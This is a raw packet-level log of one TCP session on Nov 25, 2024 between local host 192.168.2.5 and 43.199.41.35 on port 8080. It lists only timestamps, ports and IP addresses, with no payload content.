Nov 25, 2024 11:10:17.991267920 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:17.992517948 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.992625952 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.992686033 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:17.993997097 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.994098902 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.994152069 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:17.995433092 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.995551109 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.995614052 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:17.996907949 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.997028112 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.997080088 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:17.998325109 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.998389959 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.998450994 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:17.999772072 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.999912024 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.999960899 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.001235962 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.001343012 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.001456976 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.002690077 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.002803087 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.002854109 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.004190922 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.004255056 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.004304886 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.005590916 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.005757093 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.005811930 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.007318974 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.007440090 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.007494926 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.009008884 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.009088039 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.009149075 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.010454893 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.010597944 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.010649920 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.011868954 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.012003899 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.012063026 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.012918949 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.013115883 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.013170004 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.014492035 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.014538050 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.014592886 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.015845060 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.015908957 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.015959978 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.017193079 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.017309904 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.017360926 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.018629074 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.018735886 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.018800020 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.101846933 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.101943016 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.101996899 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.102520943 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.102690935 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.102739096 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.104017973 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.104202032 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.104252100 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.105454922 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.105612993 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.105659962 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.106911898 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.107073069 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.107119083 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.108746052 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.109185934 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.109237909 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.109801054 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.109874964 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.109925985 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.129857063 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.129936934 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.129987001 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.130305052 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.130399942 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.130448103 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.131264925 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.131357908 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.131401062 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.132175922 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.132339954 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.132383108 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.133145094 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.133250952 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.133292913 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.134071112 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.134227037 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.134269953 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.134974957 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.135096073 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.135143042 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.135910988 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.136018038 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.136071920 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.136826038 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.136920929 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.136990070 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.137722969 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.137816906 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.137860060 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.157839060 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.158094883 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.158149958 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.158202887 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.158394098 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.158435106 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.158495903 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.159317017 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.159368038 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.159413099 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.169940948 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.169975996 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.169989109 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.170011044 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.170026064 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.170037985 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.170043945 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.170048952 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.170059919 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.170088053 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.170114040 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.170140982 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.170159101 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.170180082 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.170197010 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.170200109 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.170231104 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.170389891 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.170403957 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.170413971 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.170425892 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.170430899 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.170437098 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.170447111 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.170449972 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.170454979 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.170465946 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.170478106 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.170484066 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.170490026 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.170501947 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.170514107 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.170521021 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.170536995 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.173783064 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.173842907 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.173868895 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.173881054 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.173927069 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.173985004 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.173996925 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.174012899 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.174025059 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.174036980 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.174036980 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.174066067 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.174336910 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.174374104 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.174433947 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.175255060 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.175297976 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.175369024 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.176161051 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.176197052 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.176275015 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.177033901 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.177084923 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.177100897 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.177891970 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.177934885 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.177983999 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.178798914 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.178838968 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.178896904 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.179670095 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.179708958 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.179763079 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.180561066 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.180599928 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.180675030 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.181431055 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.181483030 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.181541920 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.182326078 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.182378054 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.182421923 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.183260918 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.183320999 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.183440924 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.184173107 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.184204102 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.184225082 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.185003996 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.185048103 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.185134888 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.185960054 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.185971975 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.186006069 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.186788082 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.186832905 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.186877966 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.187648058 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.187695980 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.187741995 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.188600063 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.188635111 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.188647032 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.189419985 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.189464092 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.293939114 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.293982983 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.294027090 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.294393063 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.294569016 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.294616938 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.295005083 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.295101881 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.295145035 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.295880079 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.295989037 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.296036005 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.296768904 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.296951056 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.297003984 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.297666073 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.297831059 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.297893047 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.298540115 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.298619986 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.298665047 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.322479963 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.322654963 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.322701931 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.322926044 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.323024035 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.323069096 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.323753119 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.323905945 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.323952913 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.324649096 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.324768066 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.324917078 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.325582027 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.325763941 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.325802088 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.326462984 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.326565981 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.326603889 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.327333927 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.327353954 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.327392101 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.328347921 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.328562021 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.328602076 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.329076052 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.329155922 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.329194069 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.329984903 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.330079079 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.330128908 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.350536108 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.350651979 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.350711107 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.350837946 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.350931883 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.350975037 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.351711988 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.351785898 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.351830959 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.352340937 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.352441072 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.352483034 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.353148937 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.353277922 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.353317976 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.354041100 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.354109049 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.354151964 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.354955912 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.355004072 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.355042934 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.355807066 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.355995893 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.356038094 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.356673002 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.356781006 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.356823921 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.357590914 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.357695103 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.357733011 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.358460903 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.358546019 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.358587980 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.359436989 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.359488964 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.359534979 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.360212088 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.360389948 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.360428095 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.361110926 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.361306906 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.361347914 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.362050056 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.362171888 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.362215042 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.362914085 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.363008022 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.363050938 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.363765955 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.363888979 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.363934040 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.364659071 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.364769936 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.364814043 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.365699053 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.365823030 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.365868092 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.366451979 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.366508961 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.366553068 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.367324114 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.367429972 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.367475033 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.368210077 CET	8080	49705	43.199.41.35	192.168.2.5
